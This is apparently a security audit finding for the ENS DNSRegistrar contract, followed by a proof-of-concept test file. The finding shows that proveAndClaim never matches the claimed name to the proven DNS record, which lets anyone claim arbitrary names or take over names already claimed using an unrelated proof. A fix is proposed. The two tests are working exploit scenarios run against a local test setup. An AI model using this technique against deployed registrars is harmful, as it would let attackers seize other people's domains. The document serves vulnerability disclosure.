issue.md

Context

People can use the DNSRegistrar::proveAndClaim function to claim a DNS record on ENS. They have to provide the name to claim (in DNS wire format) and a signed proof. A comment says that the proof is "a chain of signed DNS RRSETs ending with a text record". According to this doc, the TXT record is expected to contain the data a=$ADDRESS, where $ADDRESS is the Ethereum address of the record's owner.

Problem

The code of the DNSRegistrar contract is not checking that the name parameter supplied to proveAndClaim actually matches the name in the proven DNS record. This means that as long as a user has a valid proof for a legitimate DNS record, they can claim whatever DNS name. The claimed name may not necessarily be associated with the proof. And it's possible to do so for DNS names already claimed by other users.

This secret gist includes two test cases showcasing two proof-of-concept scenarios. They were built using the existing test environment in the test/dnsregistrar/TestDNSRegistrar.js file, so as to reproduce the testing conditions you're familiar with.

In the first test case, we show how it's possible for anyone to claim multiple names using a single unrelated proof by calling the DNSRegistrar::proveAndClaim function. For example, if Alice owns the alice.test domain, she can use the proof for that domain to claim foo.test and bar.test on ENS.

In the second test case, we show how it's possible for anyone to takeover claimed DNS domains using a single unrelated proof. Again, calling the DNSRegistrar::proveAndClaim function. For example, if Alice owns alice.test, and she has already claimed the name on ENS, then Bob (who owns bob.test) can claim alice.test on ENS by providing a proof for bob.test.

The root cause of this issue is in the getOwnerAddress function of the DNSClaimChecker library. Used by the internal DNSRegistrar::_claim function during the claiming process, once the records have been verified by the oracle.

The code in DNSClaimChecker::getOwnerAddress starts by building the name that it expects to find in the supplied TXT record. However, the name built (stored in the buf local variable) is never checked against the real name that can be parsed from the proven record. You can notice that the buf variable is actually never used in the rest of the getOwnerAddress function.

Fix

The getOwnerAddress function of the DNSClaimChecker library should compare the built name to the name parsed from the proven DNS record. If the names do not match, then the DNS record ought to be discarded. At that point, getOwnerAddress could return a false flag, so that the DNSRegistrar::_claim function reverts with error NoOwnerRecordFound().

TestReviewDNSRegistrar.js

/*
 *  To reproduce same testing conditions, this test was coded using
    the existing `TestDNSRegistrar.js` file as starting point.
  
  * Place this file in the ens-contracts/test/dnsregistrar folder.
  
  * Run with `hardhat test test/dnsregistrar/TestReviewDNSRegistrar.js`
*/

const ENSRegistry = artifacts.require('./ENSRegistry.sol')
const Root = artifacts.require('/Root.sol')
const SimplePublixSuffixList = artifacts.require('./SimplePublicSuffixList.sol')
const DNSRegistrarContract = artifacts.require('./DNSRegistrar.sol')
const DNSSECImpl = artifacts.require('./DNSSECImpl')
const namehash = require('eth-ens-namehash')
const utils = require('./Helpers/Utils')
const { assert } = require('chai')
const { rootKeys, hexEncodeSignedSet } = require('../utils/dnsutils.js')

const ZERO_ADDRESS = '0x0000000000000000000000000000000000000000'

contract('DNSRegistrar', function (accounts) {
  let registrar, ens, root, dnssec, suffixes
  const validityPeriod = 2419200
  const inception = Date.now() / 1000 - 15 * 60
  const expiration = inception + validityPeriod

  const testRrset = (name, account) => ({
    name,
    sig: {
      name: 'test',
      type: 'RRSIG',
      ttl: 0,
      class: 'IN',
      flush: false,
      data: {
        typeCovered: 'TXT',
        algorithm: 253,
        labels: name.split('.').length + 1,
        originalTTL: 3600,
        expiration,
        inception,
        keyTag: 1278,
        signersName: '.',
        signature: Buffer.from(''),
      },
    },
    rrs: [
      {
        name: `_ens.${name}`,
        type: 'TXT',
        class: 'IN',
        ttl: 3600,
        data: Buffer.from(`a=${account}`, 'ascii'),
      },
    ],
  })

  beforeEach(async function () {
    ens = await ENSRegistry.new()

    root = await Root.new(ens.address)
    await ens.setOwner('0x0', root.address)

    dnssec = await DNSSECImpl.deployed()

    suffixes = await SimplePublixSuffixList.new()
    await suffixes.addPublicSuffixes([utils.hexEncodeName('test')])

    registrar = await DNSRegistrarContract.new(
      ZERO_ADDRESS, // Previous registrar
      ZERO_ADDRESS, // Resolver
      dnssec.address,
      suffixes.address,
      ens.address,
    )
    await root.setController(registrar.address, true)
  })

  it('can claim multiple names using single unrelated proof', async function () {
    const alice = accounts[1]

    // Build sample proof for a DNS record with name `poc.test` that alice owns
    const proofForAliceDotTest = [
      hexEncodeSignedSet(rootKeys(expiration, inception)),
      hexEncodeSignedSet(testRrset('alice.test', alice)),
    ]

    // This is the expected use case.
    // Using the proof for `alice.test`, can claim `alice.test`
    assert.equal(await ens.owner(namehash.hash('alice.test')), ZERO_ADDRESS)
    await registrar.proveAndClaim(
      utils.hexEncodeName('alice.test'),
      proofForAliceDotTest,
    )
    assert.equal(await ens.owner(namehash.hash('alice.test')), alice)

    // Now using the same proof for `alice.test`, alice can also claim `foo.test`. Without a proof involving `foo.test`
    assert.equal(await ens.owner(namehash.hash('foo.test')), ZERO_ADDRESS)
    await registrar.proveAndClaim(
      utils.hexEncodeName('foo.test'),
      proofForAliceDotTest,
    )
    assert.equal(await ens.owner(namehash.hash('foo.test')), alice)

    // Can continue claiming other domains
    // Using the same proof for `alice.test`, alice can claim `bar.test`
    assert.equal(await ens.owner(namehash.hash('bar.test')), ZERO_ADDRESS)
    await registrar.proveAndClaim(
      utils.hexEncodeName('bar.test'),
      proofForAliceDotTest,
    )
    assert.equal(await ens.owner(namehash.hash('bar.test')), alice)
  })

  it('can takeover claimed DNS domains using unrelated proof', async function () {
    const alice = accounts[1]
    const bob = accounts[2]

    // Build sample proof for a DNS record with name `alice.test` that alice owns
    const proofForAliceDotTest = [
      hexEncodeSignedSet(rootKeys(expiration, inception)),
      hexEncodeSignedSet(testRrset('alice.test', alice)),
    ]

    // Alice claims her domain
    assert.equal(await ens.owner(namehash.hash('alice.test')), ZERO_ADDRESS)
    await registrar.proveAndClaim(
      utils.hexEncodeName('alice.test'),
      proofForAliceDotTest,
    )
    assert.equal(await ens.owner(namehash.hash('alice.test')), alice)

    // Build sample proof for a DNS record with name `bob.test` that bob owns
    const proofForBobDotTest = [
      hexEncodeSignedSet(rootKeys(expiration, inception)),
      hexEncodeSignedSet(testRrset('bob.test', bob)),
    ]

    // Bob claims alice's domain
    assert.equal(await ens.owner(namehash.hash('alice.test')), alice)
    await registrar.proveAndClaim(
      utils.hexEncodeName('alice.test'),
      proofForBobDotTest,
    )
    assert.equal(await ens.owner(namehash.hash('alice.test')), bob)
  })
})